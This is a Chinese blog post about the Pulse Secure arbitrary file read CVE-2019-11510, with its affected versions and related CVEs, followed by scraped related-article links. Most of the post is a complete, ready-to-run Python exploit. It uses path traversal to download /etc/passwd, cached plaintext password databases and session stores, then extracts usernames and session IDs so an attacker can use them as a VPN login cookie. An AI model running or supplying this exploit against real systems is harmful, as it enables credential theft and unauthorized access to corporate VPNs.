Pulse Secure 任意文件读取(CVE-2019-11510)漏洞
漏洞分析
我们可以通过CVE-2019-11510这个未授权的任意文件读取漏洞把以下文件下载回来。
- /etc/passwd
- /etc/hosts
- /data/runtime/mtmp/system
- /data/runtime/mtmp/lmdb/dataa/data.mdb
- /data/runtime/mtmp/lmdb/dataa/lock.mdb
- /data/runtime/mtmp/lmdb/randomVal/data.mdb
- /data/runtime/mtmp/lmdb/randomVal/lock.mdb
其中,mtmp/system文件保存了用户名和密码哈希。
dataa/data.mdb缓存了已登录用户的明文密码。
randomVal/data.mdb文件保存了用户的会话。
但是就是获得了账号密码,也要面对双因素认证。
第一方法,通过randomVal/data.mdb保存的会话登录。
事实上,研究员还发现了以下安全漏洞。
- CVE-2019-11510 - Pre-auth Arbitrary File Reading
- CVE-2019-11542 - Post-auth Stack Buffer Overflow
- CVE-2019-11539 - Post-auth Command Injection
- CVE-2019-11538 - Post-auth Arbitrary File Reading
- CVE-2019-11508 - Post-auth Arbitrary File Writing
- CVE-2019-11540 - Post-auth Session Hijacking
影响版本
漏洞编号 影响版本
CVE-2019-11510 Pulse Connect Secure: 9.0RX 8.3RX 8.2RX
CVE-2019-11542 Pulse Connect Secure: 9.0RX 8.3RX 8.2RX 8.1RX 和 Pulse Policy Secure:9.0RX 5.4RX 5.3RX 5.2RX 5.1RX
CVE-2019-11539 Pulse Connect Secure: 9.0RX 8.3RX 8.2RX 8.1RX 和 Pulse Policy Secure: 9.0RX 5.4RX 5.3RX 5.2RX 5.1RX
CVE-2019-11538 Pulse Connect Secure: 9.0RX 8.3RX 8.2RX 8.1RX
CVE-2019-11508 Pulse Connect Secure: 9.0RX 8.3RX 8.2RX 8.1RX
CVE-2019-11540 Pulse Connect Secure: 9.0RX 8.3RX 和 Pulse Policy Secure: 9.0RX 5.4RX
漏洞利用
https://github.com/projectzeroindia/CVE-2019-11510
参考以上shell脚本写的python版exp:
使用:python exp.py https://sslvpn.target.com/

import requests
import requests.packages.urllib3
requests.packages.urllib3.disable_warnings()
import os
import sys
from urllib.parse import urlparse,urljoin banner = '''
_______ ________ ___ ___ __ ___ __ __ _____ __ ___
/ ____\ \ / / ____| |__ \ / _ \/_ |/ _ \ /_ /_ | ____/_ |/ _ \
| | \ \ / /| |__ ______ ) | | | || | (_) |______| || | |__ | | | | |
| | \ \/ / | __|______/ /| | | || |\__, |______| || |___ \ | | | | |
| |____ \ / | |____ / /_| |_| || | / / | || |___) || | |_| |
\_____| \/ |______| |____|\___/ |_| /_/ |_||_|____/ |_|\___/ python By StudyCat
'''
print (banner) def exp(url):
netloc = urlparse(url)[1]
path = urlparse(url)[2]
if path == '/':
url = url
elif path == '':
url = url+'/'
else:
print("URL Error")
return
r = requests.get(url+'data-na/../dana/html5acc/guacamole/../../../../../../../etc/passwd?/dana/html5acc/guacamole/', verify=False)
if r.status_code == 200 and 'root:x:0:0:root' in r.text:
print(url + " ---------------> Vulnerable\n")
print('Extracting /etc/passwd')
print ("Writing all files to output dir " + netloc)
if not os.path.exists(netloc):
os.mkdir(netloc)
print(r.text+"\n")
f = open(netloc+'/passwd','a')
f.write(r.text)
f.close() r = requests.get(url+'data-na/../dana/html5acc/guacamole/../../../../../../../etc/hosts?/dana/html5acc/guacamole/', verify=False)
if r.status_code == 200:
print('Extracting /etc/hosts')
print(r.text)
f = open(netloc+'/hosts','a')
f.write(r.text+"\n")
f.close() print('Downloading /data/runtime/mtmp/lmdb/dataa/data.mdb to extract plaintext usernames and password')
r = requests.get(url+'data-na/../dana/html5acc/guacamole/../../../../../../../data/runtime/mtmp/lmdb/dataa/data.mdb?/dana/html5acc/guacamole/', verify=False)
if r.status_code == 200:
f = open(netloc+"/data_runtime_mtmp_lmdb_dataa_data.mdb",'ab')
f.write(r.content)
f.close() f = open('data_runtime_mtmp_lmdb_dataa_data.mdb','rb')
users = []
buf = f.readline()
while buf:
n = buf.count(b'CN=')
if n>0:
for i in range(n):
if i :
indexx = buf.find(b'CN=',indexx+1)
else:
indexx = buf.find(b'CN=')
t = buf[indexx:indexx+100]
end = t.find(b'\x00')
t = buf[indexx:indexx+end]
users.append(t.decode())
buf = f.readline()
f.close()
users = list(set(users))
f = open(netloc+"/users.txt","a")
for line in users:
f.write(line+"\n")
f.close() print("Downloading /data/runtime/mtmp/lmdb/randomVal/data.mdb to extract sessionids, Use DSID=SESSIONID; as cookie to login directly into vpn")
r = requests.get(url+'data-na/../dana/html5acc/guacamole/../../../../../../../data/runtime/mtmp/lmdb/randomVal/data.mdb?/dana/html5acc/guacamole/', verify=False)
if r.status_code == 200:
f = open(netloc+"/data_runtime_mtmp_lmdb_randomVal_data.mdb",'ab')
f.write(r.content)
f.close() f = open(netloc+"/data_runtime_mtmp_lmdb_randomVal_data.mdb",'rb')
sessionids = []
buf = f.readline()
while buf:
n = buf.count(b'randomVal')
if n>0:
for i in range(n):
if i :
indexx = buf.find(b'randomVal',indexx+9)
else:
indexx = buf.find(b'randomVal')
t = buf[indexx:indexx+41]
if len(t)==41 and b'\x00' not in t:
sid = t[9:].decode()
sessionids.append(sid)
buf = f.readline()
f.close()
sessionids = list(set(sessionids))
f = open(netloc+'/sessionids.txt','a')
for sid in sessionids:
print(sid)
f.write(sid+"\n")
f.close()
else:
print(url + " ---------------> Not Vulnerable") def main():
url = sys.argv[1]
exp(url) if __name__ == '__main__':
main()
参考:
https://github.com/projectzeroindia/CVE-2019-11510
https://hackerone.com/reports/591295
转载请注明出处。
Pulse Secure 任意文件读取(CVE-2019-11510)漏洞的更多相关文章
- 应用服务器Glassfish任意文件读取漏洞
catalogue . 前言和技术背景 . Glassfish安装配置 . 漏洞利用 . 漏洞缓解(修复) 1. 前言和技术背景 0x1: GlassFish是什么 GlassFish 是用于构建 J ...
- 安全研究 | Jenkins 任意文件读取漏洞分析
欢迎大家前往腾讯云+社区,获取更多腾讯海量技术实践干货哦~ 本文由云鼎实验室 发表于云+社区专栏 一.漏洞背景 漏洞编号:CVE-2018-1999002 漏洞等级:高危 Jenkins 7 月 18 ...
- python从任意文件读取邮件地址输出的代码
如下的资料是关于python从任意文件读取邮件地址输出的代码. # This script takes whatever you throw at stdin and outputs email ad ...
- feifeicms后台任意文件读取
前台大略看了下,本身内容比较简单,经过“洗礼”后以及没什么问题了,基本上输入都过滤了. 这次审计找到了一个后台的任意文件读取,可以读取数据库配置文件. 在DataAction.class.php文件中 ...
- 禅知Pro 1.6 前台任意文件读取 | 代码审计
禅知 Pro v1.6 前台任意文件读取 | 代码审计 蝉知专业版是基于蝉知企业门户系统开源版开发,继承了蝉知本身的优秀功能.相对于蝉知开源版增强了商品的属性自定义.属性价格定制.物流跟踪.微信支付. ...
- 【代码审计】大米CMS_V5.5.3 任意文件读取漏洞分析
0x00 环境准备 大米CMS官网:http://www.damicms.com 网站源码版本:大米CMS_V5.5.3试用版(更新时间:2017-04-15) 程序源码下载:http://www ...
- 【代码审计】XYHCMS V3.5任意文件读取漏洞分析
0x00 环境准备 XYHCMS官网:http://www.xyhcms.com/ 网站源码版本:XYHCMS V3.5(2017-12-04 更新) 程序源码下载:http://www.xyhc ...
- 【代码审计】QYKCMS_v4.3.2 任意文件读取漏洞分析
0x00 环境准备 QYKCMS官网:http://www.qykcms.com/ 网站源码版本:QYKCMS_v4.3.2(企业站主题) 程序源码下载:http://bbs.qingyunke. ...
- PHPMailer命令执行及任意文件读取漏洞
今天在thinkphp官网闲逛,无意下载了一套eduaskcms,查看了一下libs目录中居然存在PHPMailer-5.2.13,想起了之前看到的PHPMailer的漏洞,可惜这套CMS只提供了一个 ...
随机推荐
- (三)wait()、notify()、notifyAll()
有新理解持续更新 轮询 线程本身是操作系统中独立的个体,但是线程与线程之间不是独立的个体,因为它们彼此之间要相互通信和协作. 想像一个场景,A线程做int型变量i的累加操作,B线程等待i到了10000 ...
- python之抽象类&abc模块+虚拟子类®ister
抽象类和接口: java 我们先从java讲起,没有java基础的可以略过. (挖坑) python 在python并没有抽象类之说,或者说抽象类=接口类(区别于接口) 继承有两种用途: 一:继承基类 ...
- 02_pip区别: linux环境下python2,python3的
1.pip与pip3理解 centos中,我的pip与pip3都是python2.7的,所以无法安装成功,总是安装成python2的 [root@IP ~]# pip -V pip /site-pac ...
- 诊断和修复Web测试记录器(Web Test Recorder)问题
http://www.cnblogs.com/oscarxie/articles/1045430.html Database LoadTest2010 script C:\Program Files ...
- 北京清北 综合强化班 Day5
T1 思路: 输入数据,sort一下, 如果a[i]>sum+1(前缀和) 那么sum+1就一定不会被拼出来, 然后输出即可. 上代码: #include <iostream> #i ...
- NetCore2.0无法下载apk文件 IIS设置
把apk 文件放到网站的wwwroot目录 1.IIS设置MIME类型添加.apk, MIME类型:application/vnd.android.package-archive 2.然后StarUp ...
- 用javascript来判别回文数
什么是回文数?通俗的说就是正着读和倒着读都一样的字符串(即使是数字也是可以看成字符串的). 所以下面回文数都是用字符串来表示的,即判断回文数就是对字符串的判断. 举几个回文数的例子: i love u ...
- Hdu 5884
hdu 5884 Sort 题意: n个有序序列的归并排序.每次可以选择不超过k个序列进行合并,合并代价为这些序列的长度和,总的合并代价不能超过T, 问k最小是多少. 解法: 1:首先想到的是二分这个 ...
- The JAVA_HOME environment variable is not defined correctly的错误
The JAVA_HOME environment variable is not defined correctlyThis environment variable is needed to ru ...
- UITableView动态改变Cell高度
demo下载地址:https://github.com/smileyborg/TableViewCellWithAutoLayout 版权声明:本文为博主原创文章,未经博主允许不得转载.